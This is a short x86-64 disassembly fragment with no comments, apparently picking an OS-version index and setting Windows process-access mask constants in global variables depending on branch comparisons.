jne 0x1400078f0
mov dword [0x1400d8fc0], 0x34
jmp 0x14000786a
jae 0x1400078c3
mov dword [0x1400d8fc0], 0
jmp 0x14000786a
cmp r11d, 6
jne 0x140007937
mov eax, dword [rsp + 0x28]
test eax, eax
jne 0x1400078dd
mov dword [0x1400d8fc0], 0x3c
jmp 0x1400078fd
cmp eax, 1
jne 0x1400078ee
mov dword [0x1400d8fc0], 0x3d
jmp 0x1400078fd
ja 0x140007939
cmp dword [0x1400d8fc0], 0x3c
jb 0x14000786a
mov dword [0x1400d8fbc], 0x1000
mov dword [0x1400d9048], 0x1f1fff
mov dword [0x1400d8ff4], 0x800
mov dword [0x1400d8fe4], 0x400
mov dword [0x1400d8fe0], 0x1f0fff
add rsp, 0x148
ret
jbe 0x1400078f0
mov dword [0x1400d8fc0], 0x7fffffff
jmp 0x1400078fd